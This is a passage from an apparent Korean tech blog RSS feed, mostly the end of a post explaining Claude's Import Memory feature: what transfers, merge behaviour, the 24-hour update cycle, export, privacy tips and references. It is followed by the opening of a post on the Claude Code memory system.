data-origin-height=&quot;1314&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 완료되면 메모리 업데이트 됨 표시와, Claude가 당신에 대해 학습한 내용 보기 버튼이 노출되는 것 을 볼 수 있다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1444&quot; data-origin-height=&quot;562&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bEvl00/dJMcaadlyMK/oQoRv3RKsKBRs64KoMUpxk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bEvl00/dJMcaadlyMK/oQoRv3RKsKBRs64KoMUpxk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bEvl00/dJMcaadlyMK/oQoRv3RKsKBRs64KoMUpxk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbEvl00%2FdJMcaadlyMK%2FoQoRv3RKsKBRs64KoMUpxk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1444&quot; height=&quot;562&quot; data-origin-width=&quot;1444&quot; data-origin-height=&quot;562&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; - 클릭해보면 그냥 채팅에 하기와 같은 프롬프트를 통해 대화 하며 나에대한 메모리에 대해 요약해 준다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1510&quot; data-origin-height=&quot;470&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/o58ZQ/dJMcagYUvYC/tHvp4eUe3K4Hf6NyjXHppk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/o58ZQ/dJMcagYUvYC/tHvp4eUe3K4Hf6NyjXHppk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/o58ZQ/dJMcagYUvYC/tHvp4eUe3K4Hf6NyjXHppk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fo58ZQ%2FdJMcagYUvYC%2FtHvp4eUe3K4Hf6NyjXHppk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1510&quot; height=&quot;470&quot; data-origin-width=&quot;1510&quot; data-origin-height=&quot;470&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;24시간 후에도 반영되지 않는다면?&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;공식 도움말은 &quot;Claude may not always successfully incorporate imported memories&quot;라고 명시한다. 실패 시 다음 두 가지를 시도해볼 수 있다. (공식 가이드가 없으므로 직접 확인 권장)&lt;/p&gt;
&lt;ul style=&quot;margin: 8px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;텍스트 정제 후 재시도&lt;/b&gt;: 기존 AI의 출력이 너무 길거나 형식이 불규칙한 경우 핵심 내용만 추려서 다시 Import&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;수동 입력&lt;/b&gt;: Settings &amp;rarr; Capabilities &amp;rarr; Memory에서 &quot;Add memory&quot; 기능으로 가장 중요한 항목 5~10개를 직접 한 줄씩 입력&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-top: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;Import 성공 여부는 Settings &amp;rarr; Capabilities &amp;rarr; &quot;View and edit your memory&quot;에서 새 항목이 추가됐는지 확인하거나, Claude에게 &quot;내 직업이 뭐야?&quot;처럼 기억한 내용을 물어보는 방식으로 판단할 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 3 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 무엇이 이전되나 / 이전되지 않나&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Import Memory로 옮길 수 있는 것과 없는 것을 명확히 이해하는 것이 중요하다. (출처: &lt;a href=&quot;https://support.claude.com/en/articles/12123587-importing-and-exporting-your-memory-from-claude&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude 공식 도움말&lt;/a&gt;)&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 50%;&quot;&gt;이전 가능한 것&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 50%;&quot;&gt;이전되지 않는 것&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;응답 방식 선호도 (말투, 포맷, 스타일)&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;대화 기록(Conversation history)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fafcff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;개인 정보 (이름, 위치, 직업, 관심사)&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;파일 첨부 내역&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;프로젝트, 목표, 반복 주제&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Custom GPTs / Gemini Gems 설정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fafcff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;사용하는 도구, 언어, 프레임워크&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;서비스별 고유 기능 설정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;행동 교정 사항 (내가 수정 요청한 것들)&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;업무와 무관한 순수 개인 정보 (일부)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;⚠️ Claude 메모리의 초점: 업무 관련 정보&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;공식 도움말에 따르면, Claude는 업무와 관련 없는 개인 정보는 저장하지 않을 수 있다(&lt;i&gt;may not retain non-work personal details&lt;/i&gt;)고 명시하고 있다. 즉, Claude 메모리는 협업 도구로서 효과를 높이기 위해 업무 관련 맥락을 중심으로 동작하도록 설계된 것으로 보인다. 따라서 업무와 관련 없는 순수 개인 정보는 메모리에 저장되지 않을 수 있다. (출처: &lt;a href=&quot;https://support.claude.com/en/articles/12123587-importing-and-exporting-your-memory-from-claude&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude 공식 도움말&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 4 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 주요 특징 살펴보기&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;메모리 병합(Merge) 방식&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;추정&lt;/b&gt;: 가져온 메모리는 기존 Claude 메모리를 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;덮어쓰지 않고 병합(merge)&lt;/b&gt;&lt;/span&gt;되는 것으로 보인다. 공식 도움말은 가져온 내용이 &quot;individual memory edits로 저장&quot;된다고 설명하나, &quot;덮어쓰기가 아닌 병합&quot;임을 명시적으로 표현하지는 않는다. 복수의 기술 미디어가 병합 방식임을 보도하고 있다. 이미 Claude를 사용 중이던 사람도 기존 메모리에 추가되는 형태이므로 안전하게 사용할 수 있다는 의미다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;병합 방식 예시&lt;/b&gt;&lt;br /&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 10px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #cce5ff;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff;&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff;&quot;&gt;결과&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;기존 Claude 메모리 없음&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;가져온 내용이 그대로 저장됨&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fafcff;&quot;&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;기존 Claude 메모리 있음&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;기존 + 가져온 내용이 병합되는 것으로 보임&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-top: 6px; font-size: 13px; color: #888;&quot; data-ke-size=&quot;size16&quot;&gt;병합 동작 방식은 공식 문서에 명시되지 않은 추정입니다. Awesome Agents 등 복수의 기술 미디어가 병합 방식으로 보도하고 있습니다. (&lt;a href=&quot;https://awesomeagents.ai/news/claude-import-memory-switch-providers/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;참고&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;24시간 처리 주기&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Import Memory를 완료해도 즉시 반영되지 않을 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;공식 도움말에 따르면, &lt;b&gt;가져온 메모리는 최대 24시간 이내에 반영&lt;/b&gt;된다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이는 Claude가 메모리 업데이트를 실시간이 아닌 배치 방식으로 처리하기 때문인 것으로 보인다. (출처: &lt;a href=&quot;https://support.claude.com/en/articles/12123587-importing-and-exporting-your-memory-from-claude&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude 공식 도움말&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;반영 확인 방법&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Settings &amp;rarr; Capabilities &amp;rarr; &quot;View and edit your memory&quot; 에서 가져온 내용이 메모리에 추가되었는지 직접 확인할 수 있다. 또는 Claude에게 직접 &quot;나에 대해 기억하는 것을 알려줘&quot;라고 물어볼 수도 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;메모리 내보내기(Export)도 가능&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Import만 되는 것이 아니다. Claude에 쌓인 메모리를 내보내는 것도 가능하다. Settings &amp;rarr; Capabilities &amp;rarr; &quot;View and edit your memory&quot;에서 메모리 내용을 확인하고 텍스트로 복사할 수 있다. 이를 로컬 파일로 저장해 백업하거나, 다른 서비스로 이전하는 데 활용할 수 있다. 또한 Claude에게 직접 &quot;지금까지 기억하는 내용을 그대로 출력해줘&quot;라고 요청하는 방법도 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(비공식 팁 &amp;mdash; 결과는 메모리 설정 화면의 내용과 다를 수 있음) &lt;br /&gt;(출처: &lt;a href=&quot;https://support.claude.com/en/articles/12123587-importing-and-exporting-your-memory-from-claude&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude 공식 도움말&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;ex)&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1760&quot; data-origin-height=&quot;564&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/8WmNq/dJMcadA3wEm/HkxDaLRjTeefABksEs0VUK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8WmNq/dJMcadA3wEm/HkxDaLRjTeefABksEs0VUK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8WmNq/dJMcadA3wEm/HkxDaLRjTeefABksEs0VUK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8WmNq%2FdJMcadA3wEm%2FHkxDaLRjTeefABksEs0VUK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1760&quot; height=&quot;564&quot; data-origin-width=&quot;1760&quot; data-origin-height=&quot;564&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Import &amp;harr; Export 양방향 메모리&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Import&lt;/b&gt;: 다른 AI &amp;rarr; Claude (다른 AI의 기억을 Claude로)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Export&lt;/b&gt;: Claude &amp;rarr; 파일 (Claude의 기억을 백업 또는 다른 서비스로)&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 5 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. AI 기억 락인 경쟁의 시대&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Import Memory는 단순한 편의 기능이 아니다. AI 산업의 구조적 변화를 보여주는 신호다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;앤트로픽의 전략: 전환 비용 낮추기&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;앤트로픽은 역설적인 베팅을 하고 있다. &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;전환 비용을 낮추는 것이 자신에게 유리하다&lt;/b&gt;&lt;/span&gt;는 판단이다. 약 3억 명의 주간 활성 사용자를 보유한 것으로 보도된 ChatGPT 사용자층을 겨냥하여, &quot;지금까지 쌓아온 것을 버리지 않아도 된다&quot;는 메시지로 전환 장벽을 제거하려는 것으로 보인다. (참고: &lt;a href=&quot;https://awesomeagents.ai/news/claude-import-memory-switch-providers/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Awesome Agents, 2026&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Google도 유사 기능 준비 중&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;추정내용 &lt;/b&gt;: Google도 유사한 메모리 이전 기능을 준비 중이라는 관측이 있다. 다만 이는 공식 발표가 아니며, 확인이 필요한 정보다. Claude가 &quot;정제된 기억 요약&quot;을 가져오는 방식을 택한 것과 달리, 대화 기록을 직접 활용하는 방식을 고려 중이라는 예상이 있으나 이 역시 확인되지 않은 내용이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;두 가지 접근 방식의 차이&lt;/b&gt;&lt;br /&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 10px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #fff0c0;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #ffe066;&quot;&gt;구분&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #ffe066;&quot;&gt;Claude 방식&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #ffe066;&quot;&gt;전체 기록 방식 (출처 없는 가상 예시)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #ffe066;&quot;&gt;&lt;b&gt;이전 단위&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #ffe066;&quot;&gt;정제된 기억 요약&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #ffe066;&quot;&gt;전체 대화 기록&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fffde7;&quot;&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #ffe066;&quot;&gt;&lt;b&gt;데이터 크기&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #ffe066;&quot;&gt;작음 (핵심만)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #ffe066;&quot;&gt;클 수 있음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #ffe066;&quot;&gt;&lt;b&gt;프라이버시&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #ffe066;&quot;&gt;사용자가 확인/편집 가능&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #ffe066;&quot;&gt;전체 노출 가능성&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-top: 8px; font-size: 13px; color: #888;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;전체 기록 방식&quot; 열은 공식 발표가 없는 상태에서 대비 설명을 위해 작성한 가상의 예시입니다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;결국 AI와 나눈 대화 기록, 그리고 AI가 나를 얼마나 잘 이해하는가가 &lt;b&gt;사용자를 묶어두는 핵심 락인 포인트&lt;/b&gt;가 되는 시대가 왔다. Import Memory는 그 락인 구조를 역이용하는 전략적 포석이기도 하다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 6 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 주의사항 및 팁&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;실험적 기능임을 명심하자&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;공식 도움말에는 다음과 같이 명시되어 있다: &lt;i&gt;&quot;Memory imports are experimental and still in active development, and at this stage, Claude may not always successfully incorporate imported memories.&quot;&lt;/i&gt; 가져온 모든 내용이 완벽히 반영된다는 보장은 없으며, 결과를 반드시 확인해야 한다. (출처: &lt;a href=&quot;https://support.claude.com/en/articles/12123587-importing-and-exporting-your-memory-from-claude&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude 공식 도움말&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin: 20px 0;&quot;&gt;&lt;b&gt;Import Memory 사용 체크리스트&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;[ ] 기존 AI의 메모리/개인화 기능이 활성화되어 있는지 확인&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;[ ] 가져온 내용에 민감한 개인 정보가 포함되어 있지 않은지 검토&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;[ ] Import 후 24시간 내 Settings에서 반영 여부 확인&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;[ ] 잘못 반영된 메모리는 &quot;View and edit your memory&quot;에서 수정&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;[ ] Export 기능으로 현재 메모리 백업해두기 (선택)&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;프라이버시 관련 팁&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;기존 AI에서 추출한 텍스트를 Claude에 붙여 넣기 전에 한 번 검토하는 것을 권장한다. 불필요하거나 민감한 정보는 미리 삭제하고 가져올 수 있다. Claude 메모리에 저장된 내용은 Settings &amp;rarr; Capabilities &amp;rarr; &quot;View and edit your memory&quot;에서 언제든지 수정하거나 삭제할 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 7: 참고 자료 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 참고 자료&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;a href=&quot;https://claude.com/import-memory&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Import Memory 공식 페이지&lt;/a&gt; &amp;mdash; Anthropic 공식, 2026&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;a href=&quot;https://support.claude.com/en/articles/12123587-importing-and-exporting-your-memory-from-claude&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Importing and Exporting Memory from Claude&lt;/a&gt; &amp;mdash; Claude 공식 도움말&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;a href=&quot;https://support.claude.com/en/articles/11817273-using-claude-s-chat-search-and-memory-to-build-on-previous-context&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Using Claude's chat search and memory to build on previous context&lt;/a&gt; &amp;mdash; Claude 공식 도움말&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;a href=&quot;https://simonwillison.net/2026/Mar/1/claude-import-memory/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;A quote from claude.com/import-memory&lt;/a&gt; &amp;mdash; Simon Willison, 2026-03-01&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;a href=&quot;https://awesomeagents.ai/news/claude-import-memory-switch-providers/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Now Lets You Import Memories From Any AI Provider&lt;/a&gt; &amp;mdash; Awesome Agents, 2026&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;</description>
      <category>AI/Claude</category>
      <category>AI 기억 이전 방법</category>
      <category>AI 락인 전략</category>
      <category>AI 메모리 이식</category>
      <category>Anthropic 신기능 2026</category>
      <category>ChatGPT 메모리 이전</category>
      <category>Claude Import Memory</category>
      <category>Claude 메모리 설정</category>
      <category>claude.ai import memory</category>
      <category>Gemini 메모리 Claude</category>
      <category>클로드 메모리 이전</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/531</guid>
      <comments>https://goddaehee.tistory.com/531#entry531comment</comments>
      <pubDate>Mon, 2 Mar 2026 16:37:27 +0900</pubDate>
    </item>
    <item>
      <title>Claude Code 메모리 시스템 살펴보기 : Auto Memory, CLAUDE.md, rules, import 등</title>
      <link>https://goddaehee.tistory.com/530</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
